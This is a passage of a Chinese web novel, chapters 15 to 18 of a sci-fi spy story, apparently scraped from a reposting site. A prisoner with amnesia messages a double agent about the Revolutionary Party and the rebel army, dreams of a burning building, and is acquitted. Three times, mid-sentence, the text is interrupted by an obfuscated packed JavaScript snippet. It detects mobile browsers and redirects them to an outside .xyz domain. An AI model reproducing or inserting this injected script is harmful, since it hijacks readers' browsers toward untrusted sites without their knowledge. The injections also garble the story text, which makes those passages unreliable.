遇到困难睡大觉:“听说指挥使陆风是个花心大罗北,这事儿你有耳闻伐?” 遇到困难睡大觉:“老师你不回消息是遇到麻烦了吗?” 另一头的沈舒白刚在反抗军基地办完“入职手续”,终端的震动让他差点挂不住礼貌的微笑。 陆风把墨镜拉到鼻尖,镜框上沿露出一双深棕色的眼睛。 他有些疑惑:“小沈,你谈恋爱了吗?怎么终端响这么频繁?” 沈舒白把通讯提示挂到静音,干笑:“哈哈怎么会,我这么多年你又不是不知道。” “真奇怪,”陆风摸了摸下巴上的胡茬,“你长得又不丑,能力也不弱,怎么也称得上一句一表人才,怎么这么久也没谈个对象?” 沈舒白内心吐槽,自从决定放弃叶绵绵后,陆风好像突然觉醒了给人拉郎的爱好。 他语气无奈:“老大,你觉得反抗军编外医疗队任务很轻吗?法蒙不管人在哪,给我安排的事是一点没少,我说你们一个个的,谁还记得我没毕业啊?” 陆风笑:“能者多劳嘛。” 沈舒白一脸沧桑地摇头叹气,没说话。 ——老大,你不懂。打两份工,真的没时间谈恋爱啊TT 是的,沈舒白作为一个非典型双面间谍,几乎全部时间都被这两份工作和永远不轻快的学业占满了。 在陆风眼里,沈舒白是法蒙交了半个心的朋友。 在法蒙眼里,沈舒白是自己安插进反抗军的线人。 那,在沈舒白眼里? 其实最一开始,他只是想多加几个社团凑学分…… 事情就是这么巧,大学时期的沈舒白同时结识了革命党和反抗军的人,阴差阳错发展到今日,他走得坦坦荡荡又战战兢兢,已经说不清自己到底是站在哪边的了。 好不容易送别了陆风,沈舒白在基地宿舍床上一瘫,终于想起来自己终端上攒的那一堆消息。 他打开终端,眼尖地看到了最新一条消息。 “同事兄弟,咱们组织内部男女比例怎么样?美女帅哥多吗[色]” 沈舒白眯着眼睛,盯这句话半晌。 ——他在思考这位“遇到困难睡大觉”到底何许人也。 半分钟过去了,他“腾”地一下坐了起来。 ——这是法蒙安排的新线人。法蒙原话是“稍微带带她”。 联系到最近他们的讨论内容,所以对面是……叶绵绵?? 沈舒白神色肃然、如临大敌。他往上翻,一直找到最前面的几条消息。 “同事……兄弟?”他喃喃地念出声。 放下终端,他双眼发空,但脑子却被各种念头塞满了。 叶绵绵? 记忆里那个懂事乖巧的形象浮现。 怎么可能? 叶绵绵名义上是陆风的私人秘书,但实际上并不贴身,甚至这两年里大多数时候都见不着两人同框。 沈舒白跟陆风混的关系不错,偶尔会撞到他们二人相处。那是种难以言说的氛围,暧昧、熟稔、但又保持着一点距离感,沈舒白每次见每次想:古怪、忒古怪。 他一直没摸清陆叶二人之间具体是什么情况,直到两个月前的一个周一,他去找陆风说事。 沈舒白亲眼看到叶绵绵从陆风的办公室出来,嘴唇红肿、眼里含着水色,衣领被撕破、脖子上露出一些半遮半掩的红痕。 两人猝然对视,叶绵绵咬住下唇,满脸赧然之色,一跺脚,拽着衣服从他身边跑了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224746|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈舒白的专业素养第一时间给出了反馈:吸吮性瘀斑!咬痕!表皮剥脱! 脑子转太快,等想清楚,他恨不得挖掉自己眼睛。 沈舒白再迟钝也知道是怎么回事了,但陆风不公开,他也只能装不知道,转头在心里吐槽过不知道多少次,但还是没跟别人说。 又过了两周,他收到了一个据说能保平安的挂坠,附信字体清秀,只写了两个字:“谢谢。” 沈舒白抓狂:叶女士!这么暧昧的东西能送吗!被陆风看到怎么解释啊! 从那以后,他再抱着答案看问题,叶绵绵那种缠绵的眼神、混着爱慕和敬仰的表情,还有无动于衷但又偶尔给出回应的陆风,一切都有了答案。 旁观者清,这是个痴心女子单恋指挥使上司的故事。 之后的这段时间里又发生了一些意外,现在的沈舒白回忆起来,也不知道自己插手是对是错。 前脚叶绵绵用不知名手段杀了蒋仕临,后脚就进了审判庭,很快被抓进了法蒙的新地盘——C监。 陆风知情,但没有动用他的关系,表明了对这枚“弃子”的态度。 沈舒白正巧路过C监,抱着“来都来了”的想法,保了叶绵绵一条命。 钢筋入脑手术救命还不够,听护士说叶绵绵反杀同室“狱友”的事情之后,沈舒白想着救人救到底,为了让法蒙出手从二判死刑下留她一命,他主动暴露了叶绵绵的身份。 ——只有有用的人才能得到法蒙的另眼相待。 然后,现世报来了。 沈舒白重新拿起终端,不知道抱着哪种心情,发出了第一句话:“你好。” 然后又补了一句:“是gg。” 叶眠那边“扑哧”一下。 好正经的同事! 遇到困难睡大觉:“同事兄弟[敬礼],我是老大新安排的卧底,咱们到底是个什么组织?这能问吗?” 白干全白干:“老大没说吗?我们是革命党。” 革命党? 叶眠迷惑,问:“怎么听起来跟反抗军有点像?” 沈舒白坐直身体,没有第一时间回复。 革命党,是常识吧? 叶绵绵给他的感觉,好像不太对劲。 或许应该给对方做个术后检查,确认一下大脑恢复情况? 白干全白干:“革命党是联盟议会的内部派系之一,但反抗军是反联盟的非法武装分子。” 叶眠还是有点茫然,但也从对面刚刚的沉默中读到了一点问题,干脆透底:“不瞒你说,我撞坏了脑袋,所以失去了一部分记忆。” 沈舒白倒抽一口冷气。 她可不是他这种技术型卧底,感情型卧底叠上失忆buff,这是地狱难度啊! 白干全白干:“革命党是议会近几年兴起的议会派系,旨在改换旧秩序,夺回公民权利、恢复真正的民主。” 叶眠挑眉:咦?法蒙还是有点理想的。 遇到困难睡大觉:“那咱们跟顽固派的议会席位,能达到多少比例?[笑脸]” 好犀利的问题,沈舒白在心里默默叹气。 白干全白干:“1:5。我们这几年才开始发展,根基比较浅,顽固派官官相护、树大根深,正面对抗,我们确实弱势。” 遇到困难睡大觉:“那你觉得革命党和反抗军,一个文斗、一个武斗,哪个前途更好呢?[大笑]” 沈舒白手指停顿,心里提起了点警惕。 这个问题或许对其他人没什么威力,但对他这个双面间谍来说却是直击痛点。 白干全白干:“那当然是革命党了[微笑]。” 白干全白干:“能避免战争的话,当然还是和平手段更好啦[微笑]。” 叶眠放下终端,看向病房的窗外。 连监狱都烂到狱警肆意处置囚徒的地步了,联盟沉疴之深,真是政斗换届能解决的吗? 16. 第 16 章 “原来如此。” 发完这句,对面的叶绵绵就不说话了,沈舒白有点忐忑地放下了终端。 说实话,他不太理解。 一个那么喜欢陆风的人突然态度180大转弯,说投敌就投敌,失忆完除了说陆风花心萝北之外,甚至不肯提他半个字。 自认算得上陆风半个朋友,沈舒白决定替他说句话。 白干全白干:“陆风吧,其实人也还行,至少没有花心滥情。” 遇到困难睡大觉:“你说是就是吧。” 沈舒白:? 难道陆风真做了什么对不起叶绵绵的事? 白干全白干:“除了你,我没看到他跟别的女性建立亲密关系。” 遇到困难睡大觉:“噢你知道我身份啊,那你觉得他喜欢我吗?是喜欢我的肉|体还是喜欢我的灵魂?[疑问]” 沈舒白手再次僵在原地。 啊?问我吗? 我该知道吗? 遇到困难睡大觉:“我落难他甚至没有任何表示,呵,男人[生气]。” 沈舒白找补:“听他说过两天要去亲自接你。” 亲自接我?真的假的? 叶眠眯眼:还是不对。 遇到困难睡大觉:“前审判长是顽固派的人吧?” 白干全白干:“是。” 叶眠脑筋飞转:叶绵绵喜欢陆风,所以听从陆风命令,杀了蒋仕临,然后锒铛入狱,陆风轻飘飘一句两周后出来,但完全没有捞人的行为,全靠她跟法蒙拉扯自救…… 遇到困难睡大觉:“咦?我不是弃子吗?[大笑]” 沈舒白额头冒出点冷汗,心里为陆风点了一炷香。 事实上,就是这样。 陆风想让蒋仕临死,不惜一切代价,所以叶绵绵是用完就扔的工具,但是这能说的吗?他只能装傻。 白干全白干:“[疑惑]。” 叶眠心道,这位同事的态度也很古怪。明明是革命党的人,却跟法蒙对反抗军的态度不太一样,对陆风没什么抵触,甚至还会给他说好话。 她留了个心眼。 遇到困难睡大觉:“[微笑]。” 遇到困难睡大觉:“如果几句话就能说明他怎么喜欢怎么爱,我还不如跟录音机恋爱。” 遇到困难睡大觉:“情海无涯我已上岸。反抗军权力架构和陆风个人喜好发我,该干活了,同事哥。” 沈舒白丈二摸不着头脑,不明白叶绵绵怎么突然这么洒脱了。 他怎么也没想到是里面换了个芯子,现在的叶眠心里没有半点男人和情爱,每天朝思暮想的对象是彻底自由。 白干全白干:“行,晚点。” 沈舒白关了跟叶眠的对话框,紧急联系陆风:“老陆老陆老陆。” 那边回:“急事?” 白干全白干:“也不是,你还记得叶绵绵吗?” 陆风:“……” 从这省略号的六个点里,沈舒白实在读不出陆风的想法。 他想了想,打了个实时通讯过去。 “人死万事空,她的事不必再提。”陆风说完就要挂,却被沈舒白抢声:“如果她还有救呢?!” 那边一时沉默,但好歹没挂电话。 “你喜欢她吗?”沈舒白大着胆子问。 陆风笑了一声:“怎么问这个?” “人类心理情绪研究,”沈舒白随口扯完又后悔,“算了,其实我就是好奇。” “应该是喜欢,”没想到陆风还真回答了,“想问我为什么不救她吗?因为有更重要的事要做。” 沈舒白琢磨着,喜欢那就好办了。 “我去C监找法蒙的时候,正好是她跟囚犯起冲突重伤的那天,所以我给她用了生长因子。” 陆风意味不明地“哼”了一声:“还挺大方。” “我知道她跟你的关系,”沈舒白搓着手指,琢磨着说,“你可能知道我知道?” 话有点绕,但陆风明白他的意思:“知道。” 你千万知道我们清清白白、我是正当理由啊。 沈舒白一边想一边说:“所以我才救她嘛。” “她杀的那个人叫刘勇,”陆风了解的显然更多一些,“联盟黑网上排名前百的杀手,接了蒋仕临儿子的委托去杀她。” 沈舒白一愣:“你全都知道?” 那头安静了一会儿。 “只是有关注。”陆风淡淡地说。 沈舒白很想问,你都做到这一步了,为什么不动用你的人把她捞出来算了? 陆风只说:“如果你不去,她会死在刘勇手里,结果你去了,她会死在蒋钰提起的二判里。她要怎么活?” 沈舒白心想:靠投奔典狱长活。 “如果她真能活着出来……算了。”陆风顿了顿,把后半句话藏了起来。 对方话音刚落就挂了通讯,沈舒白有点懊恼话没说完。 C监里的事情陆风瞒着他就算了,但,唉,痴情的叶女士明显更惨一点。 不过,叶绵绵的转变恐怕会在陆风意料之外了。 想到这,沈舒白幸灾乐祸起来。 他有点期待两人见面的场景了。 * 那头叶眠睡了一觉起来,就看到了同事发来的大段文字。 她先看了反抗军的组织构成。 反抗军作为最大的反联盟组织,其根据地是一艘带跃迁、隐藏、攻防一体的星际母舰,补给一次可以支撑一年,因此流窜星际,一直没被联盟军抓到。 反抗军指挥使有三位,三人分工,轮流负责守家、游击、情报。比如陆风今年的职责是情报工作,他本人身份几十个,联通手下线人无数。 叶眠摸着下巴想:所以陆风应该是有能力救自己出去的。拿捏几个审判员的事情 薄情寡义的男人。 她接着往下看。 每部分职能下的层级分工都不相同,情报部门是完全是扁平化管理,除了陆风和他的副指挥使外没人能主动联系到具体线人,保证了安全,也把指挥使本人置于危险之中。 同事细心标注:目前已掌握其常用身份“陆风”,但成长轨迹真假还无法确定。目前两方对抗,革命党占优。 占优?所以边境三师被反抗军渗透的消息是假的了? 后面是陆风的个人喜好,同事同样标注:陆风善于伪装,以下仅供参考。 列了很多条,叶眠觉得总结下来只有这么几个词。 ——潇洒正派心事重。纯事业批。 同事发了张“陆风”的全身照,叶眠点开一看,眉毛一挑。 如果这是陆风挑选的脸皮,那只能说他确实有点审美。 如果这是陆风本人的身材,那只能说他确实有好好锻炼。 不下于法蒙的一位选手,有点期待见面了。 * 晚饭后,叶眠见到了一个意外的人。 烟花还是一身狱警工作装,她坐姿放松,看得出心情不错。 “法蒙查证了7001的所有违规行为,惩罚通报发给了所有C监狱警。里面说,黑兔子后天进审判庭,最后的判决会由审判员决定。” “他还有机会活下来吗?” “黑兔子只是个暂时得势的普通人,哪里会有搭上审判庭的关系。能在C监狱兴风作浪,前靠当萨利狗腿,后靠法蒙放权不管。” 法蒙的失职在于对自己中将身份的过度看重、也在于对典狱长身份的隐隐抵触。叶眠随口说:“他这个典狱长当的真是不情不愿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224747|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次能秉公处理,也是难得。” “确实。我本来以为他也会是对C监内部混乱视而不见的人,这么看,以后肃清规则也不是没有希望。” “希望C监能越来越好。” “本来也是个让人改过自新的地方。像刘勇那种人,不配有改正的机会。” 叶眠笑了笑:“如果不是256上来就要杀我,我不会滥杀。刘勇想给刘毅报仇,其实也可以理解。” “256跟你之前起过冲突,”烟花犹豫了一下,坦白说,“我知道这事,但没插手。那些狱卒在这荒郊野岭里也没什么娱乐,通信网络也不稳定,以折磨囚犯为乐是这里成型很久的风气。” “害,人在其位,”叶眠也没在意,“黑兔子正得势,你不插手才是对的。” “之后一段时间,那些人肯定会收敛一些。我会尝试重组正常的狱警班底,毕竟是自治监狱,这里的秩序需要领导和控制。” 叶眠肯定地说:“你肯定不会成为第二个黑兔子。” 烟花叹了一声:“人心易变,成你吉言。” “其实黑兔子以前有些地方做得也不错,比如,监狱内犯人其实分几个势力类似社团,你可能不知道,他一直制衡着那些人。上边的人不会管犯人聚堆拧绳、日常吃喝,但后勤要管,要规避一些暴乱的风险。抛开他人品不看,有些手段我还得慢慢学。”她说。 叶眠想起来自己引爆的那场混乱,有些恍然。 原来冲突之下还有黑兔子的手笔,怪不得三方实力相差不大给了她可乘之机,原来是蓄意控制的结果。 “生死台跟着萨利下台消失,7001以后不会存在了。”烟花说着就准备离开,“我只是来跟你说一声,恶人有恶报,这样等你死刑执行的时候也不会留个心事了。” 她像只是来跟叶眠唠两句嗑一样,但叶眠懂了她这份“临终关怀”的心。 事以密成。 叶眠没跟任何人说自己会离开的事,此刻也只是坦然地点点头,目送她推门离开。 - 叶眠这几天过得几乎忘记了梦中大火的事情,但这一晚,火焰与高温不期而至。 在梦里睁开眼,叶眠的第一想法是骂爹。 被大火占领的建筑墙体颜色显然与上次做梦不同,空间也更加空旷——这里不是出生点一号。 太诡异了,就好像一片地图,她每次做梦都会随机刷新到一个位置。 叶眠按捺住烦躁的心情,又用上次的流程确认了一下——依然是30cm的安全圈。 好在身体上的疼痛没有带进梦境,只是灼热的感觉让人难以忍受。叶眠再次席地而坐,用异能一口气凝出最大体积的冰块,堆了一圈。 稍微舒适了一些,但冰块很快融化,她再次暴露在火焰中。 ……能不能让它化得慢一点? 比如,降低冰块温度? 叶眠闭眼,双手十指相交,专注地构想着更冷的冰体。 十秒后,她睁开眼,双手之间生成了一小块浅蓝色的冰。 蓝色幽幽,但还是透明的,说明温度没有低很多。 太凉了,叶眠自己都受不了,顺手往火里一扔,滋滋的化成水汽,漫起一小片烟雾。 叶眠看着那一小块冰用更慢的速度消失,脑子里有了个想法。 把异能冰块的温度变低,似乎比让它体积变大更简单。既然她做不到一下凝出一屋子的冰把火盖灭,那能不能只用更低温的冰把自己保护起来? 她稍微歇了口气,然后就站了起来。 浅蓝色的冰层浮现在衣服上,固定住了织物的褶皱。幽幽冷意如附骨之蛆,渗进皮肤,叶眠的后牙在微微打战。 她特意把脚底冰层加厚,然后下定决心,一步,踏了出去。 17. 第 17 章 这是炼狱!听到了吗?这是炼狱! 叶眠的感官在疯狂地报警,高温灼伤带来的痛意在挑战她的神经。 她大踏步走了七步,在摇晃的火焰中,看到一座燃烧的空荡枪架。本该插在架子上的枪支不见踪影,而她身上的冰已经消融殆尽。 叶眠是痛觉超敏者。普通人觉得有点痛的伤口,对她来说就是“很痛”,当普通人觉得很痛时,对她来说已经是无可忍受的程度。 她感觉自己在痛得打哆嗦,牙关咬死,还是控制不住地“咔咔”作响。 那个隐约要被烧到底座的枪支架子出现在视野中的时候,叶眠感受到了一种致命的熟悉感。 她感受着心中滚烫的渴望和怀念——她曾见过这个枪架。 在遗失的记忆里,或许,她真的走进过这座燃烧的建筑。 前进! 眼睛被毒烟和火焰刺激到生理性泪水不断,衣服表面最后的潮湿被大火蒸尽,火舌舔上身体,像前仆后继的蛇群。 前进! 踩过的地板每一寸都在炙烤着脚底皮肤,发出焦糊的味道。 热度顺着脚底窜进小腿,叶眠感觉自己像是铁板上三分熟的鱿鱼,再烤一会儿就该刷第二遍酱的程度。 前进! 叶眠艰涩地调动异能,凝出一副悬空的寒冰面具。精神意志在动摇,但动作却没有犹豫,她可以痛不欲生,但不能就此止步,按照她的处世原则,既然已经承受了这份折磨,就绝不允许无功而返! 眼中只剩那个枪架底座,差最后两米的时候,叶眠用最后的力气扑进升腾的明火,一手卡入底座与地面之间的缝隙。 她摸出了一张银色的铁片,上面是小刀的刻痕。 铁片边缘尖锐,划伤了手指,但叶眠已经无心关注那点伤口。 刻痕是有些稚嫩的笔迹,她吃力地在大火中睁开被熏到热泪盈眶的双眼—— “代号小队,猫头鹰。” “我们呼唤真正的民主与和平,誓要对抗一切暴力与不公。 以此信物,表我心迹,若得自由,不死不休。” …… 叶眠猛地睁眼,感觉刚刚自己又死了一次——被活活烧死的。 脑袋上的金属架子掉到一边,整个人四仰八叉地摔在地上,头有点晕,胳膊肘磕在地上,泛起一片淤青。 她保持着趴在地上的姿势,抬头看了眼窗外——天依然黑着。 叶眠慢吞吞地从地上爬起来,扶着床板,缓缓把自己挪回床上。 这次的梦看似漫长,实则短暂,暴露的信息让她忍不住有些心惊。 她确认了一些事情: 自己确实遗忘了一些过去,写着猫头鹰的铁片可能是与幼年的记忆有关。 拇指与食指相搓,叶眠回忆着那块铁片的手感。 太熟悉了,这种亲身经历的既视感,她几乎确定那铁片是自己亲手放到枪架下面的了。 所以,这座被烈火焚烧的建筑到底代表了什么? 我的过去……与脑子里这片地图有什么关系? 叶眠带着疲惫睡去,第二天在护士的手底下醒来。 “你睡觉不老实我知道,但怎么能把固定架摔到地上去?”她满脸不可思议,“病床的护栏完全没有作用吗?” 叶眠睡眼惺忪地看了一眼她手里变形的铁架,短促地开口:“啊?” “我说,你昨晚上是不是做梦翻到地上去了,”护士一脸无语,“固定架从你头上掉了下去,摔出三四米远。” 叶眠挠头:“唉?好像是。” 她当时迷迷糊糊的,身上也没力气,能把自己躺回床上就已经很厉害了。 “算了,”护士摇头,“我算是看明白了,你这家伙不能用常理推断,人摔到地上头竟然没什么事,甚至恢复得不错。太离谱了。” 叶眠这下清醒了:“真的假的?” 她轻轻地摸了摸自己后脑勺,眼睛越瞪越大——硬了!她脑壳硬了! 护士从小车上拿下一支针管:“三级生长因子,最后一支了。” 叶眠眼睛一亮:“然后就完了?” “是啊,你大好了,”护士带着点笑意说,“千辛万苦,颅骨是长全了,一会儿我看看外皮伤口愈合情况。” “那我什么时候能长头发?”叶眠眨眼。 护士斜她一眼,威胁道:“头皮刀口长不好你就当秃子吧。” 经过一番详细的检查,护士最终如实说:“长得不错,过几天天拆纱布就行。” 叶眠哼着歌,去隔壁病房找胖子。 “告诉你个好消息,”叶眠坐到他床边,拍了拍把头蒙在被子里的人,“看,护士说我可以下床了,马上能拆纱布了。” 胖子掀开被子,他那只被打肿的眼睛还被包着,只能用一只眼睛看人:“咦?为什么你好这么快?我只有软组织挫伤,胳膊轻度骨裂,但医生不让我随便活动。” 叶眠想起之前两次,似乎每次梦到大火后她都的痊愈速度都会加快。这是个很诡异的事情,她一时不知道怎么跟胖子解释。 “我觉得,我可能是天选之人,”她深沉地说,“因为我有超能力。” 胖子翻了个白眼。 由于现在是个独眼龙,他这个动作显得有些滑稽:“我说姐,世道变了,人人都有超能力,你不要活在梦里。” 叶眠挠头:“噢,确实。” 胖子支棱这一下,很快又萎靡了,拉起被子就要再把头蒙起来。 “咋了?不乐意见我?”叶眠又把他挖出来。 “你的二判判决书马上就要到了,”胖子眼眶发红,“叶眠,你要死了。” 叶眠无言一瞬,看着他一副如丧考妣的神情,终于找回了一点良心。 “你且附耳过来,来。” 胖子往这凑了凑,配合地示意自己在听。 “不出意外的话,判决书不是死刑执行,而是脱罪。”叶眠说,“我替咱俩物色了一条大船。不对,两条。” 胖子傻愣愣地说:“啥船?” “革命党的船,和反抗军的星舰,怎样,喜欢吗?”叶眠坏心地问。 胖子的独眼越瞪越大:“什么意思?我怎么记得,这两家是打对头的?不对,什么叫替咱俩物色的?” 叶眠三言两语讲了讲自己的计划,最后补充:“等见到指挥使,记得帮我圆话。” 胖子的表情从震撼,到沉思,最后是视死如归。 “叶眠,你把我从7001捞出来,我心甘情愿跟你干,但当真吗?你要去反抗军当间谍?” “准确来说,是‘回’,”叶眠伸出一只手指点了点床单,“我本来就是反抗军的人。” “反抗军竟在我身边,”胖子喃喃说,“怪不得你之前那么奇怪……所以伊斯坦真投了你们?” 这属于叶眠的未知领域了。 她叹气说:“钢筋把我脑子插坏了,我不记得了。” “没事,很快就知道了,”胖子抬头望向房顶,表情空白,“我要见到反抗军指挥使了,妈妈。” “也不一定,”叶眠说,“我听到两个说法,一个是他会派人来接我们,另一个是他会亲自来。” “你是什么身份啊他亲自来接你?”胖子迷惑。 “……他的舔狗?”叶眠也不太确定。。 胖子转头,仔仔细细地扫过她的全身上下,然后又生无可恋地转了回去,继续盯天花板:“你当舔狗?我不信。一个小小的反抗军指挥,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224748|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能去舔他?” 叶眠来了兴致:“那我该舔谁?帝国皇帝?” 胖子一阵恶寒:“别诋毁我偶像,还有,你就不是当舔狗的料,别做这种假设了,瘆得慌。” 他想象不出现在的叶眠对哪个人求而不得,哪怕是帝国那位高高在上的皇帝,只要一想到叶眠跟在他身后满脸仰慕的表情,他就由衷地感觉幻灭。 “比起叶绵绵,我说真的,”胖子坚定地说,“叶眠真是太赞了。” 叶眠大悦:“很有眼光,朋友,非常好。” 她溜达回自己的病房,想了想,拿出终端给同事哥发消息。 遇到困难睡大觉:“同事兄弟,好消息,我脑壳大好了。” 对面过了一阵子才回复:“恭喜[黑眼圈]。” 遇到困难睡大觉:“咋了这是?” 沈舒白通宵看了一晚上的反抗军档案,满眼红血丝,一无所获。 面对着这个性情大变的叶绵绵,沈舒白有点警惕。但一想到禁制环的控制权还在法蒙手里,他又觉得叶眠反手把法蒙卖给陆风的可能性也不大。 白干全白干:“法蒙让我查点东西。” 叶眠若有所思。她想起了对于“法蒙不愿就任典狱长”这件事的猜测。 遇到困难睡大觉:“法蒙有什么家族背景吗?” 白干全白干:“没有吧,完全没听说过。” 竟然没有吗? 叶眠猜错了也没气馁,只是暗暗吃惊,法蒙得经营到什么程度才能坐上C监典狱长这个位置? 她决定再试探一下。 遇到困难睡大觉:“你跟他很熟吗?” 沈舒白再次警觉。 白干全白干:“一般熟吧,怎么了?” 遇到困难睡大觉:“那会不会,他其实有身份,但你不知道[捂嘴]?” 沈舒白起手就想反驳。 医大和军大就是隔壁,从大学到现在,法蒙从他的学长到普通军人,再一路晋升做到中将,这些年都是他看着走过来的。要是法蒙有家族背景,还用走得这么辛苦、边境一呆就是近十年吗? 但谨慎起见,他还是换了个角度思考。 如果他隐藏了家族背景…… 遇到困难睡大觉:“三十岁的中将,这个晋升速度,啧啧,同事兄弟,我说真的。” 她话说一半,但态度很明确。 沈舒白想替法蒙说两句,比如他的军功都是亲自搏出来的,自己跟着巡医队在边境呆过一年,法蒙受的伤、吃的苦都被人看在眼里。 但是……中将这个位置,抛开法蒙的个人努力,真的没有外力介入吗? 法蒙从来没提过自己的背景,但联盟好像根本没有“法”这个姓氏? 遇到困难睡大觉:“你不说话了,你犹豫了。承认吧,同事兄弟,你也不确定[大笑]。” 沈舒白咬牙,飞快打字:“如果有家族背景,他为什么还会加入革命党?坐天享福不就好了?” 叶眠眯眼,嘴角勾起:这位同事兄弟,好像比她想得更沉不住气。 遇到困难睡大觉:“咋了,生在天家就不能追求民主吗?君主立宪也是君主制。” 沈舒白沉默了。 他开始认真考虑法蒙“生在天家”的可能性。 遇到困难睡大觉:“他让你查过什么家族的事吗?” 沈舒白秒回:“那可多了,议会里的大家族多少都查过,但反抗军里草根占大头,跟政治博弈离得很远,所以信息有限。” 遇到困难睡大觉:“那你可以关注一下,他有没有对某个家族态度比较特殊。事先说好,我不是拱火离间,只是提供思路[笑脸]。” 沈舒白拍案:怎会有如此厚颜无耻之徒! 18. 第 18 章 黑兔子的判决下来了,死刑执行,被暂时收押9区。 烟花去见了他一次,这位C监土皇帝上台快下台也快,就像泥鳅遇到龙,原形毕露。 “你后悔吗?”她问。 “有什么可后悔的。” 黑兔子形容狼狈,平日里抹着发胶一丝不苟的头发乱成鸡窝,那张方正的脸上只剩阴郁狠毒之色。 “我只恨自己没有背景,生在平民阶级,往上爬的路太窄了,我过不去。” 烟花摇头:“往上爬的路不止这一条,是你自己走窄了。” 黑兔子大笑,笑到一阵咳嗽:“烟花,你还是这么天真。” 他缓下表情,再次开口:“如果我做不到阶级飞跃,那我的孩子、我孩子的孩子只会更难做到。你看联盟里的那些世袭家族,那些少爷小姐,他们生来就是享福的,但幺儿只能住在这监狱外的村子里……” “幺儿已经死了,魏途。” 狱警之间只称代号,烟花很久没叫过这个名字,发音甚至有些生涩。 “她死在你去生死台下注的那晚上。我值班,你说你带她。” “魏途,你说你带她。她那么小,你把她自己留在休息室。”烟花语气平静,“在7001捧你做局的那些人里,有几个是当年灌过她酒的,你还认得出来吗?” 黑兔子仿佛被掐了脖子一样,话音被堵在喉口。 “你舒坦了吗?” 烟花走出9区的时候,抬头一看,太阳高高地悬着,身上却还有些冷意挥之不去。 幺儿的事她已经很久没去想,现在旧事重提,只觉得往事如风。 ——轻如落羽、又重可透骨。 她想,这座监狱,我是走不出来了。 幺儿投了我家,是我对不起她。 终端响起,她倦怠地看了眼消息。 是医院里的护士发来的,说256号收到了二判,请她一起来见证一下。 是那个掀翻7001的女囚。 死立执,还有什么好见证的? 烟花一边心中暗嘲,一边关了终端,双腿却不自觉地动起来,走向了检查站。 她想,置死地而后生的总是少数,但人总会抱着那一丝希望不放,就好像见着点光就能活一样。 - 叶眠拿着二次判决书不肯打开,直到烟花推门进来。 众目睽睽之下,叶眠缓缓撕开了牛皮纸袋子的封口。 胖子咽了下口水,护士双手交握,烟花手指不自觉在弹匣上敲着。 叶眠抬头,表情古怪地问:“你们为什么比我还紧张?” “闭嘴,快拆!”胖子气急败坏地说。 叶眠瘪了瘪嘴,老实地把里面的文件夹抽了出来。 “一般判决都在最后一页。”烟花及时地说。 叶眠却非要一页一页地往后翻。 护士看不下去了,一把夺了过来,语速飞快:“前面那么多字你这个速度又不是在读墨迹什么?” 纸张“哗啦啦”地飞过,像自由的蝴蝶翅膀。 叶眠没有看判决书,而是老神在在地看着三个人逐渐五彩斑斓的表情。 “无罪……?”烟花呢喃地说。 胖子憋红了脸,一拳打到叶眠肩膀:“你!” 护士也松了一口气,把判决书放回叶眠手里:“呐,得了,你自己看吧,慢慢看,看一百遍,现在没人急你了。” 叶眠“嘿嘿”一笑:“如何,我就说没事吧?” 烟花深深地看她一眼:“你什么时候说过你会没事了?” 叶眠想了想:“欸?没说吗?不过没说也好,说了不就没有惊喜了?” 烟花坐到她床尾:“有什么好惊喜的,你无罪出狱,跟我也没什么关系,还特意把我叫来。” “烟花,嘴硬心软,”叶眠摇头,“等我出去给你寄东西。当时说了,要给你报酬的。” 胖子也大声说:“烟花姐!伟大!无需多言!没你我也就死7001了,从今天开始你就是我亲姐,真的,我也给你寄东西。” 护士举手:“我呢?叶眠?” “包的姐,包的,”叶眠拍胸脯打保证,“你也有份。” 护士拐着该换药的胖子走了。 烟花从叶眠膝上抽走了判决书,手指划过纸页。 “黑兔子死刑执行是明天?”叶眠问。 “嗯,明天上午,”烟花垂着眼说,“如果今天这里的字不是无罪,你跟他前后脚的事。” 叶眠一乐:“我跟他又不一样。他伤你心,我可不舍得。” 烟花抬头看她一眼,有点无语:“你哪学的?” “逗你开心呢,”叶眠说,“你脸色太坏了。” “想起一些旧事。”烟花没想多说。 “跟黑兔子有关?”叶眠却追问。 “……他是我前夫,”烟花简短地总结,“我们有个小孩,酒精过敏,死了,后来就离了。” “那你现在解脱了,”叶眠的语气有些理所当然,“握不住的沙就扬了它,风吹哪页读哪页。” “你倒是懂得多。” “也不是,”叶眠反驳,“我是亲身经历。” “经历什么?”烟花不以为然。 叶眠指了指自己脑子:“我杀人入狱,又二次犯罪,死刑当头,还失忆了。” “那你也挺惨的。” 